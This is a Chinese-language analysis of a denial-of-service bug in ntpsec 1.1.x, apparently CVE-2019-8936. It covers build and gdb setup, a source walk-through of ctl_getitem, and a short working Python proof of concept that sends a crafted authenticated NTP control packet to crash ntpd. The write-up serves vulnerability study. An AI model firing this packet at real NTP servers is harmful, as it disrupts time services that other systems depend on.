受影响版本:ntpsec 1.1.0, 1.1.1, 1.1.2


编译 安装 配置

配置configure,设置成允许调试

./waf configure --enable-debug --enable-debug-gdb

编译

./waf build

编译后的文件在

./build/main/ntpd/ntpd

配置文件ntp.conf

logfile /tmp/ntp.log
restrict 127.0.0.1
keys /home/magnus/resources/keys
trustedkey 1
controlkey 1
requestkey 1

/home/magnus/resources/keys文件

1 M gurka
2 M agurk

开始调试

使用gdb启动服务

gdb --args ./build/main/ntpd/ntpd -n -c ~/resources/ntp.conf

设置断点,并运行

b ctl_getitem
r

端口已正常,程序已经运行 img

在另一个bash窗口中执行poc

#!/usr/bin/env python
# note this PoC exploit uses keyid 1, password: gurka

import sys 
import socket

buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
       "\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
       "\x56\xc8\x07\xd4")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))

再次查看ntp服务程序,发现已断开,根据bt给出的数据,程序停在了ntp_control.c:2930的位置 img 更进一步的讲,程序停止在

0x555555575c6c <write_variables+482>    cmp    BYTE PTR [rdi],0x0

结合源码进程查看 img 0x555555575c6c这一步的操作是rdi指向的值与0进行比较,然后再做之后的操作 img 而此时rdi为0x0,妥妥的空指针异常

再用gdb查看下valuep指针

gdb-peda$ p valuep
$1 = 0x0

看来是valuep指针出了问题,往上回溯,在2911处打下断点,发现在运行完ctl_getitem函数后,valuep指针为0x0 img

问题函数ctl_getitem的源码分析

函数第一部分

img 由代码可知,程序先将tp设置为空,reqpt赋值给cp,然后在cp中搜索’=’,我们在gdb中调试 img 显而易见,cp中不会有’=’,也不会有’,’,没有满足任何一个if语句,运行完这段代码后tp仍为0x0

函数第二部分

img 此时将指针data(即valuep指针)置零,tp为空的条件让*data = buf不会被执行,运行完这段代码后data(即valuep指针)为0x0

最后一段与*data有关的代码

img 依然没有为*data赋值,之后再也没有设置data的地方了

之后就是跳出函数,运行到2930处,为valuep赋值的时候出现空指针异常,导致DoS img

至此分析全部完成

参考

https://dumpco.re/bugs/ntpsec-authed-npe

源码及poc

https://github.com/snappyJack/CVE-2019-8936/